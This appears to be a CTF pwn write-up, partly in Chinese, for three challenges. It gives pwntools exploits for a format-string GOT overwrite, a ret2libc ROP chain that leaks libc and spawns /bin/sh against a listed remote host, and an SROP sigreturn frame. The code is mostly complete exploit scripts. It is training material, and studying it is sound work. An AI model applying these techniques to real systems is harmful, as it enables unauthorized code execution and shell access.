BABY-0x41414141
eaysy fmt vul
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.clear(arch = 'i386' ) io = process('./32_new' ) print io.recvuntil('Hello baby pwner, whats your name?\n' )payload = fmtstr_payload(72 /4 +60 , {0x804a034 :0x0804870b },numbwritten=72 ,write_size = 'byte' ) raw_input('pause' ) io.sendline('aa' +payload) print io.recvall(timeout = 2 )io.close()
JUST-DO-IT 1 2 3 4 5 6 7 pwndbg> checksec [*] '/home/swing/Desktop/CTF-Pwn/backdoor/justdoit/32_chal.dms' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA: 栈溢出:
尝试覆盖eip
1 "A" *0x64 +"BBBB" +"CCCC" +"DDDD"
所以当我们当输入为 112 + 4的时候能覆盖eip,我们就能控制程序跳转
exploit 编写 因为题目开启了NX,所以思路是构造leak,去泄漏计算libc地址,然后计算system 地址,构造rop
ropchain 1 2 3 4 5 6 ropchain = "A" *112 ropchain += p32(write_plt) ropchain += p32(main_addr) ropchain += p32(1 ) ropchain += p32(read_got) ropchain += p32(4 )
但是 最后我发现我得到远程一直断,然后发现他给的libc有问题
第二次栈溢出的时候重新计算 距离eip的距离
1 2 payload = "A" *104 payload += p32(system_addr)
将会覆盖eip为system地址 所以第二段payload构造为:
1 2 3 4 payload = "A" *104 payload += p32(system_addr) payload += "BBBB" payload += p32(binsh_addr)
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *ip = "163.172.176.29" port = 9036 elf = ELF("./32_chal.dms" ) write_plt = elf.plt['write' ] printf_got = elf.got['printf' ] read_got = elf.got['read' ] main_addr = 0x804847d if len (sys.argv) >1 : debug = True local = True else : debug = False local = True if local: libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) read_offset = libc.symbols['read' ] system_offset = libc.symbols['system' ] binsh_offset = next (libc.search("/bin/sh" )) else : libc = ELF("./libc.so.6" ) read_offset = 0xd4350 system_offset = 0x3a940 binsh_offset = 0x15900b if debug: io = process("./32_chal.dms" ) pause() else : io = remote(ip,port) context.log_level = 'debug' ropchain = "A" *112 ropchain += p32(write_plt) ropchain += p32(main_addr) ropchain += p32(1 ) ropchain += p32(read_got) ropchain += p32(4 ) io.recv() io.sendline(ropchain) read_addr = u32(io.recv(4 )) log.info("read_addr: 0x%x" % read_addr) libc_base = read_addr - read_offset system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset log.info("system_addr: 0x%x" % system_addr) log.info("binsh_addr: 0x%x" % binsh_addr) gdb.attach(io,'''break *0x80484b9''' ) pause() payload = "A" *104 payload += p32(system_addr) payload += "BBBB" payload += p32(binsh_addr) io.recv() pause() io.sendline(payload) io.interactive()
FUNSIGNALS syscall 先是调用read
但是没有ret 很干阿。。。
但是发现他调用了 sys_rt_sigreturn 卧槽 这不是srop吗… 发现其实flag是写在bin程序里的
所以只要构造rop,调用writeup,将这个flag读出来就可以了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.arch = "amd64" context.log_level = 'debug' frame = SigreturnFrame() frame.rax = constants.SYS_write frame.rdi = constants.STDOUT_FILENO frame.rsi = 0x10000023 frame.rdx = 50 frame.rsp = 0xABADCAFE frame.rip = 0x10000015 io = process("./player_bin.dms" ) gdb.attach(io) pause() io.send(str (frame)) pause() io.interactive()